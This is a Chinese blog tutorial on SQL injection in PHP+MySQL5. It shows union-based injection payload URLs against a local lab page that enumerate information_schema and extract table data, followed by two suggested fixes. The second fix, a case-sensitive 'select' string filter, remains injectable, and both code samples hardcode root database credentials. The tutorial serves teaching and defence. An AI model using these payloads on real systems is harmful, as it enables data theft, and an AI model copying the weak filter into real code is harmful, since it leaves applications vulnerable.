WEB安全 php+mysql5註入防禦
阿新 • • 發佈:2017-11-27
lose sql語句 div 數據庫名 http 數據庫表 操作 是否 spa
註入利用函數:
concat()函數將多個字符串連接成一個字符串
database() 當前數據庫
version() 數據庫版本
user() 當前數據庫用戶
@@version_compile_os 操作系統版本
mysql5.0及以上版本默認有一個information_schema數據庫,其中保存有所有數據庫表名和列名信息。
可以打開phpmyadmin,分別在information_schema數據庫的tables表和columns表查看所有表信息,了解下面的註入語句的本質。
information_schema數據庫結構:
tables表
table_name列(存放所有表名)
table_schema列(數據庫名,條件註入時轉為16進制格式)
columns表
column_name表(存放所有列名)
table_name列(存放所有表名)
table_schema列(數據庫名,條件註入時一般直接找指定表的列名,不需要再指定庫名)
table_collation表(字符編碼,utf8_general_ci)
一、php+mysql 聯合查詢註入
http://127.0.0.1/1.php?x=1 and 1=2 http://127.0.0.1/1.php?x=1 order by 3 http://127.0.0.1/1.php?x=1 UNION SELECT 1,2,3http://127.0.0.1/1.php?x=1 UNION SELECT database(),version(),user() http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(DATABASE(),0x20,VERSION(),0x20,USER(),0x20,@@VERSION_COMPILE_OS),2,3 用戶ID:sqlin 5.5.53 root@localhost Win32 http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(TABLE_NAME,0x20,TABLE_COLLATION),2,3 from information_schema.tableswhere table_schema=0x73716C696E http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(column_name),2,3 from information_schema.columns where table_name=0x6E657773 // http://127.0.0.1/1.php?x=1 UNION SELECT id,text,title FROM sqlin.news http://127.0.0.1/1.php?x=1 UNION SELECT `key`,2,3 FROM sqlin.data key在數據庫中是關鍵字,需要用反引號引起來 用戶ID:www.xiaodi8.com
二、註入產生的原因及修復建議
1. 註入產生的原因:未對參數接收的值進行過濾
2. 修復建議:
2.1 判斷傳入的參數類型(數字,過濾非數字):
<?php //定義接收參數 //1.定義數據庫信息 //2.連接數據庫,選擇數據庫,定義sql語句,執行語句 //3.返回結果並處理顯示,關閉數據庫 $id = $_GET[‘x‘];//接收參數名為x的值並賦值給變量id if(is_numeric($id)){ //如果接收過來的id變量的值是數字 $conn = mysql_connect("127.0.0.1","root","root");//連接數據庫 mysql_select_db("sqlin",$conn);//選擇數據庫 $sql = "select * from news where id=$id";//定義sql語句 $result = mysql_query($sql);//執行sql語句 while($row = mysql_fetch_array($result)){//獲取,遍歷查詢結果並顯示 echo "用戶ID:".$row[‘id‘]."<br>"; echo "文章標題:".$row[‘title‘]."<br>"; echo "文章內容:".$row[‘text‘]."<br>"; echo "<hr>"; } mysql_close($conn);//關閉數據庫連接 echo "當前執行語句:".$sql."<hr>"; }else{ echo "非法字符: ".$id; } ?>
2.2 指定關鍵字過濾(過濾select等關鍵字,考慮大小寫是否可繞過):
<? //php語言開端 //php+mysql註入頁面編程實現 /* 1.接受參數 2.數據庫連接,選擇,定義組合,執行 3.返回結果並處理顯示 */ function check_sql($id){ //過濾select關鍵字 $id = str_replace("select","",$id); return $id; } $id = $_GET[‘x‘];//接受參數名x的值並賦值給變量id //$id = str_replace("select","",$id); $id = check_sql($id); //echo $id; $conn = mysql_connect("127.0.0.1","root","root");//連接數據庫 mysql_select_db("sqlin",$conn);//選擇數據庫 $sql = "select * from news where id=$id";//定義sql語句 $result = mysql_query($sql);//執行sql語句 while($row = mysql_fetch_array($result)){ //遍歷結果顯示 echo "用戶ID:".$row[‘id‘]."<br >"; echo "文章內容:".$row[‘text‘]."<br >"; echo "文章標題:".$row[‘title‘]."<br >"; echo "<hr>"; } mysql_close($conn);//關閉數據庫連接 echo "當前執行語句:".$sql."<hr>"; //php語言結尾 ?>
end.
WEB安全 php+mysql5註入防禦